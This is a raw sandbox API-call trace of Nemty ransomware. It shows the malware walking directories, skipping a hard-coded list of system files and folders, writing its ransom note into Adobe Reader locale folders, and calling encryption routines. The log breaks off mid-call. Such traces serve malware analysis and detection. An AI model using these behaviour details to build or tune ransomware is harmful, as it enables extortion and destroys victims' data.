(lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0175.956] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0175.956] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0175.956] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0175.956] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0175.956] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0175.956] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0175.956] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0175.956] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0175.956] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0175.956] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0175.956] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0175.956] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0175.956] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0175.956] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0175.956] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0175.956] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0175.956] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0175.956] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0175.956] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0175.956] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0175.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0175.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0175.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0175.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0175.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0175.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0175.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0175.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0175.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0175.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0175.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0175.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.957] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c407170, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1c407170, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1c407170, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0175.957] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0175.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0175.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0175.958] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="eu_ES", cAlternateFileName="")) returned 1 [0175.958] lstrcmpiW (lpString1="eu_ES", lpString2=".") returned 1 [0175.958] lstrcmpiW (lpString1="eu_ES", lpString2="..") returned 1 [0175.958] lstrcmpiW (lpString1="eu_ES", lpString2="...") returned 1 [0175.958] lstrcmpiW (lpString1="eu_ES", lpString2="windows") returned -1 [0175.958] lstrcmpiW (lpString1="eu_ES", lpString2="$RECYCLE.BIN") returned 1 [0175.958] lstrcmpiW (lpString1="eu_ES", lpString2="rsa") returned -1 [0175.958] lstrcmpiW (lpString1="eu_ES", lpString2="NTDETECT.COM") returned -1 [0175.958] lstrcmpiW (lpString1="eu_ES", lpString2="ntldr") returned -1 [0175.958] lstrcmpiW (lpString1="eu_ES", lpString2="MSDOS.SYS") returned -1 [0175.958] lstrcmpiW (lpString1="eu_ES", lpString2="IO.SYS") returned -1 [0175.958] lstrcmpiW (lpString1="eu_ES", lpString2="boot.ini") returned 1 [0175.958] lstrcmpiW (lpString1="eu_ES", lpString2="boot.ini") returned 1 [0175.958] lstrcmpiW (lpString1="eu_ES", lpString2="AUTOEXEC.BAT") returned 1 [0175.958] lstrcmpiW (lpString1="eu_ES", lpString2="ntuser.dat") returned -1 [0175.958] lstrcmpiW (lpString1="eu_ES", lpString2="desktop.ini") returned 1 [0175.958] lstrcmpiW (lpString1="eu_ES", lpString2="CONFIG.SYS") returned 1 [0175.958] lstrcmpiW (lpString1="eu_ES", lpString2="RECYCLER") returned -1 [0175.958] lstrcmpiW (lpString1="eu_ES", lpString2="BOOTSECT.BAK") returned 1 [0175.958] lstrcmpiW (lpString1="eu_ES", lpString2="bootmgr") returned 1 [0175.958] lstrcmpiW (lpString1="eu_ES", lpString2="programdata") returned -1 [0175.958] lstrcmpiW (lpString1="eu_ES", lpString2="appdata") returned 1 [0175.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eu_ES", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eu_ES", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eu_ES", lpUsedDefaultChar=0x0) returned 5 [0175.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eu_ES", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eu_ES", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eu_ES", lpUsedDefaultChar=0x0) returned 5 [0175.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0175.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0175.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0175.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0175.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0175.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0175.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0175.959] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0175.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0175.961] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.961] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0175.962] CloseHandle (hObject=0x254) returned 1 [0175.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0175.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0175.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0175.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0175.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0175.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0175.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0175.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.962] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0175.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.963] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.963] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0175.964] CloseHandle (hObject=0x254) returned 1 [0175.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0175.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0175.964] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1c857950, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1c857950, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0175.964] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0175.964] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1c857950, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1c857950, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0175.964] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0175.964] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0175.964] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="accessibility.EUQ", cAlternateFileName="ACCESS~1.EUQ")) returned 1 [0175.964] lstrcmpiW (lpString1="accessibility.EUQ", lpString2=".") returned 1 [0175.964] lstrcmpiW (lpString1="accessibility.EUQ", lpString2="..") returned 1 [0175.964] lstrcmpiW (lpString1="accessibility.EUQ", lpString2="...") returned 1 [0175.964] lstrcmpiW (lpString1="accessibility.EUQ", lpString2="windows") returned -1 [0175.964] lstrcmpiW (lpString1="accessibility.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0175.964] lstrcmpiW (lpString1="accessibility.EUQ", lpString2="rsa") returned -1 [0175.964] lstrcmpiW (lpString1="accessibility.EUQ", lpString2="NTDETECT.COM") returned -1 [0175.964] lstrcmpiW (lpString1="accessibility.EUQ", lpString2="ntldr") returned -1 [0175.964] lstrcmpiW (lpString1="accessibility.EUQ", lpString2="MSDOS.SYS") returned -1 [0175.964] lstrcmpiW (lpString1="accessibility.EUQ", lpString2="IO.SYS") returned -1 [0175.964] lstrcmpiW (lpString1="accessibility.EUQ", lpString2="boot.ini") returned -1 [0175.964] lstrcmpiW (lpString1="accessibility.EUQ", lpString2="boot.ini") returned -1 [0175.964] lstrcmpiW (lpString1="accessibility.EUQ", lpString2="AUTOEXEC.BAT") returned -1 [0175.965] lstrcmpiW (lpString1="accessibility.EUQ", lpString2="ntuser.dat") returned -1 [0175.965] lstrcmpiW (lpString1="accessibility.EUQ", lpString2="desktop.ini") returned -1 [0175.965] lstrcmpiW (lpString1="accessibility.EUQ", lpString2="CONFIG.SYS") returned -1 [0175.965] lstrcmpiW (lpString1="accessibility.EUQ", lpString2="RECYCLER") returned -1 [0175.965] lstrcmpiW (lpString1="accessibility.EUQ", lpString2="BOOTSECT.BAK") returned -1 [0175.965] lstrcmpiW (lpString1="accessibility.EUQ", lpString2="bootmgr") returned -1 [0175.965] lstrcmpiW (lpString1="accessibility.EUQ", lpString2="programdata") returned -1 [0175.965] lstrcmpiW (lpString1="accessibility.EUQ", lpString2="appdata") returned -1 [0175.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0175.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.EUQ", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.EUQ", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.EUQ", lpUsedDefaultChar=0x0) returned 17 [0175.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0175.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.EUQ", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.EUQ", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.EUQ", lpUsedDefaultChar=0x0) returned 17 [0175.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0175.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0175.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0175.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.EUQ", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.EUQ", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.EUQ", lpUsedDefaultChar=0x0) returned 17 [0175.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0175.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0175.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.EUQ", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.EUQ", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.EUQ", lpUsedDefaultChar=0x0) returned 17 [0175.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0175.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0175.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.966] Sleep (dwMilliseconds=0x5) [0175.982] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c8a3c10, dwHighDateTime=0x1d561e8)) [0175.982] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c8a3c10, dwHighDateTime=0x1d561e8)) [0175.982] GetLastError () returned 0xb7 [0175.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.982] GetLastError () returned 0xb7 [0175.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0175.982] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.982] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.982] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, 